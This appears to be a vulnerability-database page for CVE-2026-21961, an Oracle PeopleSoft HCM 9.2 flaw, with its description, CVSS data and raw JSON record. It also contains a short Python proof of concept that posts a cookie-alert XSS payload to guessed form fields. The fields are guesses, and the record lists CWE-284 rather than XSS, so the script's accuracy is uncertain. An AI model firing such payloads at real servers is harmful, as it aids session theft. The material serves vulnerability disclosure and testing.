Security Vulnerability Report
中文
CVE-2026-21961 CVSS 6.1 MEDIUM

CVE-2026-21961

Published: 2026-01-20 22:15:59
Last Modified: 2026-01-29 21:00:04

Description

Vulnerability in the PeopleSoft Enterprise HCM Human Resources product of Oracle PeopleSoft (component: Company Dir / Org Chart Viewer, Employee Snapshot). The supported version that is affected is 9.2. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise HCM Human Resources. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in PeopleSoft Enterprise HCM Human Resources, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of PeopleSoft Enterprise HCM Human Resources accessible data as well as unauthorized read access to a subset of PeopleSoft Enterprise HCM Human Resources accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:oracle:peoplesoft_enterprise_hcm_human_resources:9.2:*:*:*:*:*:*:* - VULNERABLE
Oracle PeopleSoft Enterprise HCM Human Resources 9.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-21961 PoC - PeopleSoft XSS in Company Dir/Org Chart Viewer # This PoC demonstrates the XSS vulnerability in PeopleSoft Enterprise HCM import requests import urllib3 urllib3.disable_warnings() target_url = "https://vulnerable-server/psp/HR92DEV/EMPLOYEE/HRMS/c/COMPANY_DIR.GBL" # XSS payload for Company Dir/Org Chart Viewer xss_payload = "<script>alert(document.cookie)</script>" # For Employee Snapshot component snapshot_url = "https://vulnerable-server/psp/HR92DEV/EMPLOYEE/HRMS/c/EMPLOYEE_SNAPSHOT.GBL" def test_xss_vulnerability(url, payload): """Test for XSS vulnerability in PeopleSoft components""" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded', } # Parameters that might be vulnerable (COMPANY_DIR and EMPLOYEE_SNAPSHOT) data = { 'ICAction': 'SEARCHBTN', # Search button action 'COMPANY': xss_payload, 'NAME': xss_payload, } try: response = requests.post(url, headers=headers, data=data, verify=False, timeout=30) if xss_payload in response.text: print(f"[+] Potential XSS vulnerability found at: {url}") return True else: print(f"[-] No obvious XSS reflection detected") return False except requests.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2026-21961 PoC - PeopleSoft XSS Test") print("Target: PeopleSoft Enterprise HCM 9.2") print("Component: Company Dir / Org Chart Viewer, Employee Snapshot") test_xss_vulnerability(target_url, xss_payload) test_xss_vulnerability(snapshot_url, xss_payload)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21961", "sourceIdentifier": "[email protected]", "published": "2026-01-20T22:15:58.987", "lastModified": "2026-01-29T21:00:03.960", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the PeopleSoft Enterprise HCM Human Resources product of Oracle PeopleSoft (component: Company Dir / Org Chart Viewer, Employee Snapshot). The supported version that is affected is 9.2. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise HCM Human Resources. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in PeopleSoft Enterprise HCM Human Resources, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of PeopleSoft Enterprise HCM Human Resources accessible data as well as unauthorized read access to a subset of PeopleSoft Enterprise HCM Human Resources accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)."}, {"lang": "es", "value": "Vulnerabilidad en el producto PeopleSoft Enterprise HCM Human Resources de Oracle PeopleSoft (componente: Company Dir / Org Chart Viewer, Employee Snapshot). La versión soportada que está afectada es la 9.2. Una vulnerabilidad fácilmente explotable permite a un atacante no autenticado con acceso a la red vía HTTP comprometer PeopleSoft Enterprise HCM Human Resources. Los ataques exitosos requieren interacción humana de una persona que no sea el atacante y, aunque la vulnerabilidad está en PeopleSoft Enterprise HCM Human Resources, los ataques pueden impactar significativamente productos adicionales (cambio de alcance). Los ataques exitosos de esta vulnerabilidad pueden resultar en acceso no autorizado de actualización, inserción o eliminación a algunos de los datos accesibles de PeopleSoft Enterprise HCM Human Resources, así como acceso de lectura no autorizado a un subconjunto de los datos accesibles de PeopleSoft Enterprise HCM Human Resources. Puntuación Base CVSS 3.1 de 6.1 (impactos en la Confidencialidad e Integridad). Vector CVSS: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:peoplesoft_enterprise_hcm_human_resources:9.2:*:*:*:*:*:*:*", "matchCriteriaId": "FDB17640-C307-4997-9D2F-A461812107E9"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpujan2026.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}